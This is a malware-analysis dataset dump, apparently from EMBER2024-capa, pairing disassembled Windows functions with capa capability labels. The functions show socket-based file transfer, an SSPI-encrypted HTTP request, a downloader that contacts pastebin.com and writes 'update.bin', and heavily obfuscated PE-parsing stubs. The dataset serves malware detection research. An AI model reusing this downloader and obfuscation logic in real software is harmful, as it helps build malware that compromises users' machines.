joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4ea060
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x180]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4ea097
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4ea09f
mov eax, dword [ebp - 4]
call fcn.004ea4ac
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x4ea0ec
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x180]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4ea123
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4ea12b
mov eax, dword [ebp - 4]
call fcn.004ea4ac
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret

Function at 0x4ea160
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404fd8
xor eax, eax
push ebp
push 0x4ea279
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x28], eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 8]
call fcn.00404fe8
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x1c]
mov ecx, 4
mov eax, dword [ebp - 4]
call fcn.004ea060
jmp 0x4ea223
lea edx, [ebp - 0x14]
mov eax, dword [ebp - 4]
call fcn.004ea0a8
mov eax, dword [ebp - 0x14]
call fcn.00404de8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jbe 0x4ea210
push 0
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.DLL_WriteFile
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x28], eax
cmp dword [ebp - 0xc], 0
je 0x4ea210
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call dword [ebp - 0xc]
push 0x64
call sub.KERNEL32.DLL_Sleep_1
mov eax, dword [0x58c910]
mov eax, dword [eax]
call fcn.00497c10
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x1c]
jae 0x4ea237
mov eax, dword [ebp - 4]
cmp dword [eax + 0x184], 0
jne 0x4ea1c5
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x1c]
jne 0x4ea24e
cmp dword [ebp - 0x1c], 0
ja 0x4ea252
xor eax, eax
jmp 0x4ea254
mov al, 1
neg al
sbb eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea280
lea eax, [ebp - 0x14]
call fcn.00404b28
lea eax, [ebp - 8]
call fcn.00404b28
ret
Function at 0x4ea288
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404fd8
xor eax, eax
push ebp
push 0x4ea3a8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x24], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 8]
call fcn.00404fe8
push eax
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x14], eax
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x1c]
mov ecx, 4
mov eax, dword [ebp - 4]
call fcn.004ea0ec
mov eax, 0x1000
call fcn.00402ac0
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0x1000
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_ReadFile
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
call fcn.004ea0ec
mov eax, dword [ebp - 0x20]
add dword [ebp - 0x24], eax
cmp dword [ebp - 0xc], 0
je 0x4ea33e
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
call dword [ebp - 0xc]
push 0xa
call sub.KERNEL32.DLL_Sleep_1
mov eax, dword [0x58c910]
mov eax, dword [eax]
call fcn.00497c10
cmp dword [ebp - 0x20], 0x1000
jb 0x4ea366
mov eax, dword [ebp - 4]
cmp dword [eax + 0x184], 0
jne 0x4ea300
mov eax, dword [ebp - 0x18]
call fcn.00402af0
mov eax, dword [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x1c]
jne 0x4ea385
cmp dword [ebp - 0x1c], 0
ja 0x4ea389
xor eax, eax
jmp 0x4ea38b
mov al, 1
neg al
sbb eax, eax
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ea3af
lea eax, [ebp - 8]
call fcn.00404b28
ret
Function at 0x100015ad
Capabilities:
Encrypt data via sspi
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [0x10006378]
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x48]
push ecx
push 4
push eax
mov dword [ebp - 0x50], eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesA]
test eax, eax
jne 0x100016f6
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
push ebx
mov ebx, dword [ebp - 0x48]
add eax, ebx
push edi
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x100016ef
test esi, esi
je 0x1000163f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000160a
sub ecx, edx
cmp ecx, 1
jbe 0x1000163f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000161d
sub ecx, edx
cmp byte [ecx + esi - 1], 0x2f
jne 0x1000163f
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001632
sub ecx, edx
mov byte [ecx + esi - 1], al
push dword [0x1000637c]
add ebx, edi
push esi
push str.GET__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:_Mozilla_5.0_r_nAccept:__r_n_r_n
push ebx
call dword [sym.imp.MSVCR120.dll_sprintf]
mov ecx, ebx
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000165c
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ebx
lea eax, [ecx + ebx]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x14], eax
xor ebx, ebx
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push ebx
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push esi
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], 4
call dword [sym.imp.Secur32.dll_EncryptMessage]
test eax, eax
js 0x100016f4
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push ebx
push eax
push edi
push dword [ebp - 0x4c]
call dword [0x100063e0]
cmp eax, 0xffffffff
je 0x100016e8
test eax, eax
je 0x100016e8
push edi
call dword [sym.imp.MSVCR120.dll_free]
pop ecx
xor eax, eax
jmp 0x100016f4
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
mov eax, 0x80090304
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.100028b6
mov esp, ebp
pop ebp
ret
Function at 0x10001e97
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
call dword [sym.imp.MSVCR120.dll___iob_func]
mov esi, dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
push 0xf
lea edi, [eax + 0x20]
call esi
mov dword [0x1000636c], eax
mov dword [esp], 0x1a4
mov dword [eax + 7], edi
call esi
mov esi, dword [0x1000636c]
mov edi, eax
movzx edx, word [0x10006014]
xor ebx, ebx
pop ecx
inc ebx
mov eax, 0xffff
cmp word [0x10006014], ax
push 2
cmove edx, ebx
mov dword [esi], ebx
pop ebx
push edi
push 0x202
mov dword [esi + 0xb], edi
mov word [esi + 4], dx
mov byte [esi + 6], bl
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea ecx, [edi + 0x198]
mov word [edi + 0x194], bx
call fcn.1000246a
push 0x1c6d
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0x196], ax
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x10001f3f
or ecx, 0xffffffff
call fcn.100023ce
push eax
call fcn.10001f4e
pop ecx
push 0x10004710
call fcn.10001f4e
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x100022c9
Capabilities:
Create thread

Disassembly:
mov eax, 0x22b
mov word [0x10006014], ax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ws2_32
mov dword [0x10006374], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x10002304
mov dword [0x10006370], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
xor eax, eax
add esp, 0xc
inc eax
ret

Function at 0x1000246a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.pastebin.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call section..text
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push str._r_n_r_n
push dword [0x100063dc]
call dword [sym.imp.MSVCR120.dll_strstr]
push 0xa
lea ecx, [ebp - 0x1c]
add eax, 4
push ecx
push eax
call dword [sym.imp.MSVCR120.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0x14
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100028b6
mov esp, ebp
pop ebp
ret
Function at 0x10002537
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 6
push 1
mov si, dx
mov ebx, ecx
push 2
mov word [ebp - 2], si
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x190], eax
cmp eax, 0xffffffff
je 0x1000268c
push 0x10
lea ecx, [ebx + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 0
mov word [ebp - 7], si
call fcn.1000287d
xor ecx, ecx
call fcn.1000237f
lea esi, [eax + 0xc]
push esi
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
pop ecx
mov edi, eax
mov ecx, edi
call fcn.1000237f
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
push 0
mov dword [eax + edi], ecx
add eax, 4
mov ecx, dword [ebp - 8]
add eax, edi
mov dword [ebp - 0x14], eax
mov dword [eax], ecx
lea ecx, [esi - 4]
push ecx
push edi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10002667
push 0
push esi
push edi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, esi
jne 0x10002663
mov ecx, edi
call fcn.1000239f
test al, al
je 0x1000265f
sub esi, dword [ebp - 0x10]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
sub esi, 4
push esi
mov esi, dword [ebp - 0x14]
push esi
call fcn.1000287d
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + edi]
cmp eax, dword [ebp - 0xc]
jne 0x1000265b
mov eax, dword [esi]
mov dword [ebp - 8], eax
cmp byte [ebp - 8], 0x7f
jne 0x10002657
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x10002653
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x1000264f
mov esi, dword [edx + edi + 8]
push edi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
pop ecx
mov eax, esi
jmp 0x1000269e
push 8
jmp 0x10002669
push 7
jmp 0x10002669
push 6
jmp 0x10002669
push 5
jmp 0x10002669
push 4
jmp 0x10002669
push 3
jmp 0x10002669
push 2
pop ecx
call fcn.100023ce
push eax
call fcn.10001f4e
pop ecx
push edi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
pop ecx
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1000269b
xor ecx, ecx
inc ecx
call fcn.100023ce
push eax
call fcn.10001f4e
pop ecx
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100026a5
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push 6
push 1
mov si, dx
mov ebx, ecx
push 2
mov word [ebp - 2], si
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx + 0x190], eax
cmp eax, 0xffffffff
je 0x10002868
push edi
push 0x10
lea ecx, [ebx + 0x194]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
mov al, byte [ebp + 8]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
mov byte [ebp - 5], al
lea eax, [ebp - 8]
push 4
push eax
mov byte [ebp - 8], 1
mov word [ebp - 7], si
call fcn.1000287d
xor ecx, ecx
call fcn.1000237f
lea edi, [eax + 8]
push edi
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
pop ecx
mov esi, eax
mov ecx, esi
call fcn.1000237f
mov ecx, dword [ebp - 0xc]
push 0
push edi
mov dword [eax + esi], ecx
mov ecx, dword [ebp - 8]
push esi
mov dword [eax + esi + 4], ecx
push dword [ebx + 0x190]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10002842
push 0
push edi
push esi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, edi
jne 0x1000283e
mov ecx, esi
call fcn.1000239f
test al, al
je 0x1000283a
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0xc]
and dword [ebp - 0xc], 0
sub edi, eax
sub edi, 4
push edi
lea edi, [eax + 4]
add edi, esi
push edi
call fcn.1000287d
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + esi]
cmp eax, dword [ebp - 0xc]
jne 0x10002836
mov eax, dword [edi]
mov dword [ebp - 8], eax
mov cl, byte [ebp - 8]
cmp cl, 0x7e
jne 0x10002829
mov ecx, eax
shr ecx, 8
cmp cx, word [ebp - 2]
jne 0x10002825
shr eax, 0x18
cmp al, byte [ebp + 8]
jne 0x10002821
push 0xfffffffffffffffe
pop ecx
call fcn.100023ce
push eax
call fcn.10001f4e
push esi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
push 0x401
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
push 0x1000496c
push str.update.bin
mov esi, eax
call dword [sym.imp.MSVCR120.dll_fopen]
add esp, 0x14
mov edi, eax
jmp 0x10002800
push eax
push 1
push esi
call dword [sym.imp.MSVCR120.dll_fwrite]
add esp, 0x10
push 0
push 0x400
push esi
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_recv]
push edi
test eax, eax
jg 0x100027f3
call dword [sym.imp.MSVCR120.dll_fclose]
jmp 0x10002850
push 8
jmp 0x10002844
push 7
jmp 0x10002844
cmp cl, 0xff
jne 0x10002832
push 9
jmp 0x10002844
push 6
jmp 0x10002844
push 5
jmp 0x10002844
push 4
jmp 0x10002844
push 3
jmp 0x10002844
push 2
pop ecx
call fcn.100023ce
push eax
call fcn.10001f4e
pop ecx
push esi
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
pop ecx
push dword [ebx + 0x190]
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
jmp 0x10002877
xor ecx, ecx
inc ecx
call fcn.100023ce
push eax
call fcn.10001f4e
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000287d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x100028b0
push esi
push edi
mov edi, dword [ebp + 8]
not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
and eax, 0xff
xor edx, dword [eax*4 + 0x10004310]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10002891
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8

Function at 0x10036ee
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebx
mov edx, dword [ecx]
mov dword [eax], edx
mov edx, dword [ecx + 4]
mov dword [eax + 4], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x10], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x14], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0x18], edx
mov edx, dword [ecx + 0x1c]
mov dword [eax + 0x1c], edx
mov edx, dword [ecx + 0x20]
mov dword [eax + 0x20], edx
mov edx, dword [ecx + 0x24]
mov dword [eax + 0x24], edx
mov edx, dword [ecx + 0x28]
mov dword [eax + 0x28], edx
mov edx, dword [ecx + 0x2c]
mov dword [eax + 0x2c], edx
mov edx, dword [ecx + 0x30]
mov dword [eax + 0x30], edx
mov edx, dword [ecx + 0x34]
mov dword [eax + 0x34], edx
mov edx, dword [ecx + 0x38]
or dword [eax + 0x3c], 0xffffffff
mov dword [eax + 0x38], edx
mov dl, byte [ecx + 0x3c]
mov byte [eax + 0x40], dl
mov edx, dword [eax + 0x2c]
xor ebx, ebx
cmp edx, ebx
mov byte [eax + 0x41], bl
jne 0x1003764
mov dword [eax + 0x44], ebx
jmp 0x1003797
cmp edx, 3
je 0x1003790
cmp edx, 5
je 0x1003790
cmp edx, 2
je 0x1003790
cmp edx, 1
je 0x100377d
cmp edx, 4
jne 0x1003797
mov dl, byte [eax + 0x30]
not dl
movzx edx, dl
shr edx, 5
and edx, 1
mov dword [eax + 0x44], edx
jmp 0x1003797
mov dword [eax + 0x44], 1
mov dword [eax + 0x48], ebx
mov edx, dword [ecx + 0x40]
mov dword [eax + 0x58], edx
mov edx, dword [ecx + 0x44]
mov dword [eax + 0x5c], edx
mov edx, dword [ecx + 0x48]
mov dword [eax + 0x60], edx
mov edx, dword [ecx + 0x50]
mov dword [eax + 0x68], edx
mov edx, dword [ecx + 0x54]
mov dword [eax + 0x6c], edx
mov edx, dword [ecx + 0x58]
mov dword [eax + 0x70], edx
mov edx, dword [ecx + 0x5c]
mov dword [eax + 0x74], edx
mov edx, dword [ecx + 0x60]
mov dword [eax + 0x78], edx
mov edx, dword [ecx + 0x64]
mov dword [eax + 0x7c], edx
mov edx, dword [ecx + 0x68]
mov dword [eax + 0x80], edx
mov edx, dword [ecx + 0x6c]
mov dword [eax + 0x84], edx
mov edx, dword [ecx + 0x70]
mov dword [eax + 0x8c], ebx
mov dword [eax + 0x88], edx
mov edx, dword [ecx + 0x74]
mov dword [eax + 0x90], edx
mov edx, dword [ecx + 0x78]
mov dword [eax + 0x94], edx
mov edx, dword [ecx + 0x7c]
mov dword [eax + 0x98], edx
mov edx, dword [ecx + 0x80]
mov dword [eax + 0x9c], edx
mov ecx, dword [ecx + 0x84]
mov dword [eax + 0xa4], ebx
mov dword [eax + 0xa0], ecx
pop ebx
ret
Function at 0x417e10
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
sub esp, 0x1c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, eax
lea eax, [esp + 0x14]
push eax
push 0x20019
push 0
mov esi, 0x190
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
push 0x80000001
mov edi, esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x417ee7
lea ecx, [esp + 0x24]
push ebp
mov ebp, 4
push ecx
push ebx
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x18], ebp
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [esp + 0x24], eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.Browse_For_Folder_Width
push edx
call ebx
test eax, eax
jne 0x417e94
mov edi, dword [esp + 0x1c]
xor esi, esi
lea eax, [esp + 0x10]
lea ecx, [esp + 0x20]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push ecx
push edx
push 0
push str.Browse_For_Folder_Height
push eax
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ebp
call ebx
test eax, eax
pop ebp
jne 0x417ec2
or esi, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
test eax, eax
je 0x417edc
mov ecx, dword [0x4c7b4c]
push 0x4c783c
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, edi
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x1c
ret

Function at 0x486138
Capabilities:
Encode data using xor

Disassembly:
pop ecx
and byte [ebx + 0x276e21cc], cl
and dword [esi + 0x27], ebp
aaa
mov dword [0xec5e8af0], eax
fisttp word [eax]
cmp eax, 0xbbe9c01c
movsb byte es:[edi], byte [esi]
sub eax, 0x4f522ae0
sub dl, byte [edx + 0x4f]
mov edx, 0x13b61a7c
xor ch, ah
mov dl, 0x82
xchg esi, eax
push ecx
sbb al, ah
je 0x486125
push edx
cmpsb byte [esi], byte es:[edi]
cld
outsd dx, dword [esi]
pop esp
sal al, 0x10
cmpsb byte [esi], byte es:[edi]
fadd dword [eax - 0x77]
out dx, al
xor byte [ebx + ebp + 0x1dbdd265], dh
out 0xf8, eax
inc esi
invalid
Function at 0x5a746f
Capabilities:
Parse pe header

Disassembly:
mov eax, esi
pop esi
pop ebp
ret
push 0x2b13ec38
mov dword [esp], ebp
mov ebp, esp
push ecx
mov ecx, 4
sub ebp, 0x5ed7fabd
add ebp, ecx
add ebp, 0x5ed7fabd
pop ecx
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ecx
push edi
mov edi, 0x6fbfcee7
sub edi, 0x13cd7e9d
sub ecx, edi
pop edi
push ebx
mov ebx, 0x2aef06d1
push ecx
mov ecx, 0x36eb3c45
dec ecx
shr ecx, 4
neg ecx
dec ecx
add ecx, 0xfe629dc0
sub ebx, ecx
pop ecx
add ecx, ebx
pop ebx
add ecx, eax
sub ecx, 0x2ffb1cd6
add ecx, 0x5bf2504a
mov ecx, dword [esp]
push edi
mov edi, esp
add edi, 4
sub esp, 4
mov dword [esp], ecx
mov ecx, 4
sub edi, 0x7776a40c
add edi, ecx
add edi, 0x7776a40c
pop ecx
xchg dword [esp], edi
pop esp
push dword [eax + 0x3c]
push dword [esp]
pop eax
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
pop esp
jmp 0x6327f8
add esp, 4
jmp 0x5758eb
je 0x418216
jmp 0x56adeb
add esi, 0x1000
jmp 0x5ee94b
test eax, eax
jmp 0x642dda
push edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
sub edi, esi
pop esi
xchg dword [esp], edi
pop esp
mov dword [esp], ecx
mov dword [esp], esi
push ecx
sub esp, 4
mov dword [esp], edx
mov edx, 0x75af3c7a
mov dword [esp + 4], edx
pop edx
mov dword [esp], edx
push 0x569b8d38
mov dword [esp], ecx
mov edx, dword [esp]
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
rol dword [edi + eax*4], 0xc
and al, 0x5c
rol dword [edi + eax*4], 0xc
and al, 0x5c
mov edx, dword [esp]
push esi
push esp
mov esi, dword [esp]
add esp, 4
add al, 0
add byte [eax], al
add esi, 4
push edi
mov edi, 4
add esi, edi
pop edi
xchg dword [esp], esi
pop esp
jmp 0x679c78
push ecx
mov dword [esp], edx
push ebp
push 0x499d21e8
pop ebp
mov dword [esp + 4], ebp
pop ebp
mov dword [esp], ecx
sub ecx, 0x7d5f42bf
add ecx, 0x7beaeb50
add ecx, eax
sub ecx, 0x7beaeb50
push edx
mov edx, 0x6ff7ed68
neg edx
xor edx, 0x7bfe2331
xor edx, 0x96a97316
push ebx
mov ebx, 0x1fef10f5
or ebx, 0x752b884a
shl ebx, 5
neg ebx
neg ebx
sub ebx, 0xc0ff4222
sub ecx, ebx
pop ebx
add ecx, edx
add ecx, 0x3cf3ddbe
pop edx
push dword [esp]
pop ecx
sub esp, 4
mov dword [esp], eax
mov eax, esp
add eax, 4
push esi
mov esi, 4
add eax, esi
pop esi
xchg dword [esp], eax
pop esp
push dword [0x4c79a0]
push dword [esp]
pop eax
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
jmp 0x54eca6
cmp esi, 0x7d000000
jmp 0x5ee956
jb 0x5a742a
jmp 0x4181ff
call fcn.00417f00
jmp 0x5584b0
cmp word [esi], 0x5a4d
jmp 0x642de5
push ecx
push esi
mov esi, 0x59fbab4b
inc esi
dec esi
or esi, 0x54fe6974
sub esi, 0xde4c3787
mov ecx, esi
pop esi
push edi
mov edi, 0x7fda5b41
xor ecx, edi
pop edi
shl ecx, 4
add ecx, 0x17f82343
add eax, 0x5dbd21c6
add eax, ecx
sub eax, 0x5dbd21c6
pop ecx
add eax, esi
sub eax, 0x1e96aed3
jmp 0x69e72e
je 0x56adeb
jmp 0x5ef159
jne 0x56adeb
jmp 0x5d222f
push 0x5bd4b3e1
mov dword [esp], eax
mov dword [esp], 0x24bc1d41
mov dword [esp], ecx
mov dword [esp], esi
pop dword [0x4c79a0]
jmp 0x5ef14f
mov dword [0x4c7c50], eax
jmp 0x69e738
cmp word [eax], 0x4550
jmp 0x56ade0